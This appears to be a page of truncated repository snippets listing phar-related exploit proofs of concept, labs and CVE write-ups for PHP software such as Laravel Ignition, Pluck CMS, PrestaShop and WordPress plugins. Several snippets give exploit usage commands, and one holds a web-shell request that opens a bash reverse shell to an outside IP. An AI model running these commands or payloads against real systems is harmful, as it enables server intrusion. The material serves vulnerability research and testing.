magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

CVE-2025-3515

CVE-2025-3515 CVE‑2025‑3515 — Drag and Drop Multiple File Upload for Contact Form 7 설명: drag‑and‑drop‑multiple‑file‑upload‑contact‑form‑7 ≤1.3.8.9를 통한 임의 파일 업로드로 .phar 파일 업로드가 가능해지며, Apache+modphp 환경에서 원격 코드 실행을 유발합니다. :contentReferenceoaicite:29index=29 CVSS v3.1: 8.1 높음...

CVE-2021-3129_exploit

CVE-2021-3129익스플로잇 CVE-2021-3129용 익스플로잇 실험실 설정: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve 사용법: $ git clone https://github.com/nth347/CVE-2021-3129exploit.git $ cd...

CVE-2020-29607

CVE-2020-29607-Exploit 익스플로잇 제목: Pluck CMS 4.7.13 - 파일 업로드 원격 코드 실행 인증됨 CVE 설명: Pluck CMS 4.7.13 이전 버전의 파일 업로드 제한 우회 취약점으로 인해 관리자 권한 사용자가 "파일 관리" 기능을 통해 호스트에 접근할 수 있으며, 이로 인해 원격 코드 실행이 발생할 수 있습니다. https://nvd.nist.gov/vuln/detail/CVE-2020-29607 ExploitDB: https://www.exploit-db.com/exploits/49909...

LKWA

LKWA Lesser Known Web Attack Lab은 중급 펜테스터가 Object Injection, XSSI, PHAR 역직렬화, variables variable 등과 같은 잘 알려지지 않은 웹 공격을 테스트하고 연습할 수 있는 도구입니다. Write-up을 환영합니다. 제 walk-through는 여기에 있습니다. 설치 - 로컬 git clone https://github.com/weev3/LKWA 명령어로 클론한 후 웹 서버로 이동시키면 됩니다. XSSI 챌린지의 경우 apache2.conf 파일에서 Allow...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

laravel-exploits

laravel-exploits CVE-2021-3129용 익스플로잇 상세: https://www.ambionics.io/blog/laravel-debug-rce 사용법 $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

CVE-2024-33438

임의 파일 업로드로 인한 RCE CVE-2024-33438 CubeCart 실행 후, 성공적인 악용에 대한 예상 출력은 다음과 같습니다: python3 CubeCartCVE.py http://localhost/admin0Kqnr9.php admin 123456 whoami ,----. ||/ '. / O|| /| / "" / / // / launching exploit ||/ please wait... + Trying to log into the application... + Successful login. Uploading ...

CVE-2023-3824

PHP 악성 Phar 파일 PoC CVE-2023-3824 설명 이 개념 증명PoC은 PHP에서 악성 Phar 파일을 생성하고 버퍼 오버플로우 취약점을 트리거하는 방법을 보여줍니다. 사용법 악성 Phar 파일 생성 1. 새로운 PHP 파일예: createphar.php을 생성하고 다음 코드를 추가합니다: startBuffering; $phar-addFromStringstrrepeat'A', PHPMAXPATHLEN - 1.'B', 'This is the content of the file.'; $phar-stopBufferin...

PrestaShop-CVE-2018-19126

PrestaShop 백 오피스 원격 코드 실행 CVE-2018-19126 이것은 CVE-2018-19126에 대한 PoC로, PrestaShop 백 오피스의 여러 취약점을 연쇄적으로 연결하여 phar를 통한 역직렬화를 유발하고 원격 코드 실행을 달성합니다. 전제 조건: PrestaShop 1.6.x 1.6.1.23 미만 또는 1.7.x 1.7.4.4 미만. 백 오피스 계정 물류 담당자, 번역가, 판매원 등. PrestaShop 릴리스 노트:...

cve-2023-3824

sudo docker run -it --rm -p 8080:80 php:8.0.29-apache bash echo "phar.readonly = Off" /usr/local/etc/php/php.ini http://localhost:8080/shell.php?cmd=bash -c 'bash -i %26 /dev/tcp/192.168.1.8/5050 0%261' php -r "$phar = new Phar'exploit.phar'; $phar-extractTo'./', 'shell.php';" exploit.zip pass:...

CVE-2019-19576

class.upload.php = 2.0.3 임의 파일 업로드 저자 - Jinny Ramsmark 영향받는 공급업체 - Verot.net 영향받는 제품 - class.upload.php = 2.0.3 새로 설치된 Ubuntu 19.10, PHP7.3, Apache/2.4.38에서 테스트 특히 Debian/Ubuntu는 사용 가능한 PHP 핸들러에 php, phar, phtml 확장자를 추가하기 때문에 취약한 것으로 밝혀졌습니다. 이 경우 class.upload.php는 phar 확장자를 블랙리스트에 포함하지 않았습니다. 설명 ...

CVE-2021-3129

CVE-2021-3129 Laravel RCE CVE-2021-3129 취약점 개요 Laravel에서 Debug 모드가 활성화된 경우, Laravel에 포함된 Ignition 구성 요소가 filegetcontents 및 fileputcontents 함수를 안전하지 않게 사용하여 공격자가 악의적인 요청을 보내고 악성 Log 파일을 구성하는 등의 방식으로 Phar 역직렬화를 트리거할 수 있으며, 궁극적으로 원격 코드 실행으로 이어집니다. 영향받는 버전 Laravel = 8.4.2 취약점 확인 500 응답이 반환되면 취약점이 존재함...

CVE-2026-45034

🧨 PHPSpreadsheet Phar デシリアライゼーションエクスプロイト prohibitWrappers の回避 + phpoffice/phpspreadsheet におけるリモートコード実行 RCE このリポジトリは、人気の PHP ライブラリ PHPSpreadsheet における重大な脆弱性に対する概念実証 PoC エクスプロイトを提供します。この攻撃は phar:// ラッパー を悪用してオブジェクトのデシリアライゼーションを引き起こし、影響を受けるバージョンではセキュリティ保護の回避 や完全なリモートコード実行 にまで至ります。 ⚡ 脆弱性の概要 バージョン| 状態...

elFinder < 2.1.58 - Remote Code Execution

studio-42/elfinder before 2.1.58 contains a remote code execution caused by execution of PHP code in a .phar file, letting attackers execute arbitrary PHP code if the server parses .phar files as PHP, exploit requires server to parse .phar files as PHP. id: CVE-2021-23394 info: name: elFinder...

Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and...

PoC-for-CVE-2020-28948-CVE-2020-28949

CVE-2020-28948 및 CVE-2020-28949를 위한 POC 여기 있는 파일들은 원격 익스플로잇을 달성하기 위한 CVE-2020-28948 및 CVE-2020-28949에 대한 PoC를 포함합니다. 서버 서버 폴더에는 취약한 ArchiveTar 라이브러리를 사용하는 간단한 업로드 서버가 있으며, server/Archive에 위치해 있습니다. 서버는 사용자로부터 Tar 아카이브를 받아 server/uploads/ 폴더에 추출하고 저장합니다. 취약한 라이브러리로 서버를 시작하려면: cd server make build...

CVE-2020-29607

Alienfader 익스플로잇 / Alien@shell 웹쉘 업로드 익스플로잇 설명: 이 Python 스크립트는 Pluck CMS 예: 4.7.13 이전 버전에서 파일 업로드 제한 우회 취약점을 악용하여 PHP 웹쉘을 업로드합니다. 업로드되면 쉘"shell.phar" 이름을 사용하여 대상 서버에서 명령을 실행할 수 있습니다. 스크립트는 다음 단계를 수행합니다: 1. 대상에서 세션 쿠키를 검색하고 형식을 지정합니다. 2. 제공된 비밀번호를 사용하여 대상에 인증합니다. 3. 취약한 파일 업로드 기능을 통해 PHP 웹쉘을 업로드합니...

CVE-2021-3129

CVE-2021-3129 Laravel Ignition RCE 익스플로잇 이것은 Laravel에 Ignition 패키지가 설치된 경우 발생하는 원격 코드 실행 취약점CVE-2021-3129을 위한 Python 익스플로잇 스크립트입니다. 이 취약점을 통해 공격자는 PHAR 역직렬화를 통해 임의의 시스템 명령을 실행할 수 있습니다. 기능 phpggc를 사용하여 PHAR 페이로드를 자동으로 생성 실행할 명령어예: id, whoami 등를 사용자 입력으로 받음 로그 지우기, 페이로드 주입, 로그를 PHAR로 변환, 역직렬화 트리거 등...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition リモートコード実行 CVSS 9.8（Critical） | 安全でないファイル操作 → ログポイズニング → Phar デシリアライゼーション → RCE 概要 Laravel Ignition -c "whoami" 参考 NVD — CVE-2021-3129 Ignition Patch 2.5.2...